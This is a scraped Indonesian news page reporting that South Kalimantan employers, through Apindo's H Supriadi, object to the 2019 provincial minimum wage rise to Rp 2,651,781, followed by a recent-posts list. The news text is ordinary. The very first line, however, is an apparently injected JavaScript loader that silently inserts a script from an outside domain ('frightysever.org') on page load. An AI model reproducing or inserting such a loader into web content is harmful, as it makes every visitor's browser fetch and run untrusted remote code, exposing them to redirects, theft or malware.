(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pengusaha Kalsel Berat Hati Terima UMP 2019


BANJARMASIN, Asosiasi Pengusaha Indonesia (Apindo) Kalsel H Supriadi mengaku banyak anggota Apindo masih berat hati menerima keputusan Upah Minimum Provinsi (UMP) Kalsel tahun 2019 yang sudah diketok.

Sebagaimana diketahui, secara resmi Pemprov Kalsel mengumumkan UMP Kalsel tahun 2019 sebesar Rp 2.651.781, naik 8,03 persen atau sebesar Rp 197.110 dari UMP Kalsel 2018 sebesar Rp 2.454.671.

“Untuk UMP Kalsel tahun 2019, memang banyak pelaku usaha anggota Apindo Kalsel masih tidak sependapat. Bahkan mereka merasa cukup keberatan untuk menerapkannya,” ucapnya, Selasa (6/11/2018).

Keberatan sendiri menurut pengusaha travel haji dan umroh itu cukup beralasan, mengingat pertumbuhan ekonomi Kalsel tidak lebih baik dari ekonomi nasional selama tahun 2018 ini.

“Kita ketahui saat ini pertumbuhan ekonomi Kalsel hanya sebesar 4,95 persen, jauh lebih buruk dari ekonomi nasional yang tumbuhnya mencapai 5,15 persen. Belum lagi ditambah dengan lesunya daya beli masyarakat sekarang, inilah yang menjadikan pengusaha keberatan,” jelasnya.

Pun keberatan, pihaknya mengaku akan tetap melakukan sosialisasi intensif kepada pelaku usaha pada semua sektor di seluruh Kalsel untuk bisa menerapkan UMP Kalsel tahun 2019.

“Kita akan segera turun ke daerah melakukan sosialisasi kepada pelaku usaha bersama instansi terkait. Karena UMP tahun 2019 kali ini sudah diputuskan dan wajib dijalankan semua pihak,” ungkapnya.

Terkait penerapan UMP tahun 2019 terhadap pelaku usaha mikro kecil dan menengah (UMKM), Supriadi menyadari akan tetap sulit diberlakukan. Hal ini karena terkait omset dan pendapatan UMKM yang masih tidak seberapa.

“UMKM ini pengecualian, pasti akan sangat sulit diterapkan. Untuk pemberlakuan UMP tahun 2019 paling hanya bisa diberlakukan untuk bidang pertambangan, perkebunan hingga keuangan,” jelasnya.

Sebelumnya, Kepala Dinas Tenaga Kerja Kalsel Sugian Norbach menjelaskan, kenaikan UMP Kalsel tahun 2019 dilandasi formulasi yang ada atas pertumbuhan ekonomi dan inflasi di daerah.

“Per tanggal 1 Januari 2019 nantinya keputusan dari Gubernur Kalsel terkait UMP wajib ditaati oleh perusahaan. Jika perusahaan tidak melaksanakan UMP, maka ada sanksinya sesuai regulasi yang berlaku,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

7 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

8 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

8 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

15 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

16 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.